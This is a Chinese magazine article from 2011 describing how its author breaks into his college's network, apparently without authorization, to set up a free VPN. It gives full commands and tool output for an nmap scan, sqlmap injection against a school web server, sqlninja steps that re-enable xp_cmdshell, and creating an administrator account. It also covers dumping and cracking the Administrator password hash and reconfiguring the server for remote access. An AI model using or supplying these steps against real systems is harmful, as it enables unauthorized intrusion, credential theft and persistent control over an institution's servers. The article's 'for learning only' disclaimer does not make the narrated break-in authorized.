Backtrack5 下渗透校园网
本文已发于《黑客防线》2011.10期
某次去机房突然看到了挂在墙上的网络拓扑图,从而了解整个学院的网络分布情况。正好泄露了网络拓扑结果,于是在了解拓扑结构的情况下,展开了一次渗透测试。在此题外话一句,不知为何现在的学校喜欢把网络拓扑图详细地贴在墙上,女友学校的网络拓扑图还竟然公开在学校的网站上,实在无语。我简略绘制本校的拓扑结构,如图1:
整个学院内部用的 10.10.0.0 网段的IP地址,学院有 DHCP、DNS、Web、FTP 服务器,它们都共同位于 10.10.8.0 网段。
我们宿舍每个人的书桌下有网线插孔,从拓扑图中就可以看出,虽然没有开通上网,只要网线插上去,同样可以跨网段访问,默认没有 ACL 的。也就是对 Web 服务器可以访问的,经过扫描,还有不少内部网站,比如在线电影之类的。
我的想法是拿下某一台机器的权限,然后开个 VPN 来上网。为了长期使用,我选择了对服务器下手,先就选择了 Web 服务器。顺便说下,我主要用的 BackTrack5 作为渗透环境,所使用的大部分工具均来源于 BackTrack5 中。
Web 服务器是在 10.10.8.0 这个网段的,首先用 Nmap 对整个网段进行扫描:
root@bt:~# nmap -sS -p 80 10.10.8.1-254 --open
其中,-p 参数代表只扫描指定端口,参数后跟欲扫描的端口号;–open 表示结果只显示开放了 80 端口的主机;10.10.8.1-254 是 IP 地址的范围,指代 10.10.8.1~10.10.8.254,因为 255 是广播地址,所以只用扫到 254 即可。只用了 3 秒多,就扫描完了整个网段,结果如图 2:
我选择了 10.10.8.15 这个目标站,因为它是 ASP.NET 架构的,如果有注入,较容易提权(后面事实证明的确非常好提权)。
打开以后竟然是一个旅游方面的网站,记得在学校某内部网站找到这个网站的链接,标明的是网络协会的,可见大学学生的东西有多杂。
随便点开了一则新闻的页面,然后用 sqlmap 扫描:
sqlmap.py -u "http://10.10.8.51/Web/News/Opiniondetail.aspx?id=54"
很快就返回了如下文字:
sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=53' AND 9442=9442 AND 'fVBu'='fVBu --- web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 4.0.30128 back-end DBMS: Microsoft SQL Server 2005 [*] shutting down at: 13:14:52
看来的确有注入,详细信息都在上面了,操作系统是 Windows 2003,IIS 6.0 以及数据库是 MSSQL 2005。立即看看数据库当前的用户名,提交如下命令:
./sqlmap.py -u "http://10.10.8.51/Web/News/Opiniondetail.aspx?id=54" --current-user
以下是从 sqlmap 返回的一长串信息中摘下的:
[13:35:28] [INFO] fetching current user [13:35:28] [INFO] read from file '/pentest/database/sqlmap/output/10.10.8.51/session': sa current user: 'sa'
显示了当前用户名是 sa,如果真的是 sa 权限,那么已经成功了一半以上了。提交以下命令查看当前用户的权限:
./sqlmap.py -u "http://10.10.8.51/Web/News/Opiniondetail.aspx?id=54" --privileges
摘下的关键返回信息,如下:
database management system users privileges: [*] nx [*] sa (administrator)
果然是 SA 权限,赶紧换成 Sqlninja,Backtrack5 中的 Sqlninja 是新版本,新版本的 Sqlninja 已经不和以前的配置方法一样了,需要先建一个配置文件。在终端中键入 touch conf.conf 建立一个配置文件,针对此次攻击,我的配置文件如下:
--httprequest_start-- GET http://10.10.8.51/Web/News/Opiniondetail.aspx?id=53';/**/__SQL2INJECT__ HTTP/1.1 Host: 10.10.8.51 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 Connection: close --httprequest_end--
Sqlninja 的配置文件格式用了标准的 HTTP 请求,以 –httprequest_start– 和 –httprequest_end– 作为开始和结束,GET 中 URL 后面的 __SQL2INJECT__
会被 Sqlninja 自动替换成相应的注入语句。
保存文件。由于 SQL Server2005 默认是禁用了 xp_cmdshell 的,所以首先需要恢复 xp_cmdshell 存储过程,键入命令:
root@bt:/pentest/database/sqlninja# ./sqlninja -m x -f conf.conf -d 1
-m 参数为攻击模式,x 参数为恢复 xp_cmdshell 存储过程;-f 用来指定配置文件;-d 后跟 1 可以注入时提交的 SQL 语句,方便学习,回显如下:
> >++++++++++++++++SQL Command++++++++++++++++ if not(substring((select @@version),25,1) <> 5) waitfor delay '0:0:5'; ------------------------------------------- [+] Target seems a SQL Server 2005 1: 2000 2: 2005 f: fingerprint and act accordingly > 2 [+] Trying to reactivate xp_cmdshell using sp_configure... ++++++++++++++++SQL Command++++++++++++++++ exec master..sp_configure 'show advanced options',1;reconfigure;exec master..sp_configure 'xp_cmdshell',1;reconfigure ------------------------------------------- [+] Checking whether xp_cmdshell is available ++++++++++++++++SQL Command++++++++++++++++ exec master..xp_cmdshell 'ping -n 5 127.0.0.1'; ------------------------------------------- [+] Yes ! Now xp_cmdshell is available
成功恢复 xp_cmdshell 了,接着开始执行系统命令。在终端键入:
./sqlninja -m c -f conf.conf
c 参数用来执行 xp_cmdshell。
root@bt:/pentest/database/sqlninja# ./sqlninja -m c -f conf.conf Sqlninja rel. 0.2.6-rc2 Copyright (C) 2006-2011 icesurfer <[email protected]> [+] Parsing conf.conf... [+] Target is: 10.10.8.51:80 [+] Starting blind command mode. Use "exit" to be dropped back to your shell. >
这时光标在“>”后面闪动,用于输入命令。我分别执行 net user lu4nx 123456/add、net localgroup administrators lu4nx /add 来添加一个名为 lu4nx 的管理员。
由于 Backtrack5 中的 mstsc 不太好用,我就在 Windows 里用 mstsc 登录了。 于是顺便在主机上建了一个 VPN。
登录远程桌面后,我用 wce.exe 抓出 Administrator 的 hash,然后用 Ophcrack 挂上 7G 的彩虹表跑出了密码,接着在“本地用户和组”中,右击 Administrator,选择属性,在“拨入”选项卡中,将“远程访问权限(拨入或 VPN)”改成“允许访问”,如图3:
然后在“控制面板”——“路由和远程访问”,在相应的计算机名中点右键,选择“配置并启用路由和远程访问”,弹出的向导中选择“自定义配置”,勾选“VPN”访问和“NAT和基本防火墙”,完成向导后启用服务即可,只要保证 Server、Routing and Remote Access、Remote Registry 和 Workstation 四个服务开启了,关闭 Windows 防火墙即可。
然后在本地建立一个 VPN 连接,填入 IP、用户名和密码即可,如图4:
本文主要综合使用了一下 BackTrack5 中的工具,本文纯属学习,勿用于其他用途:)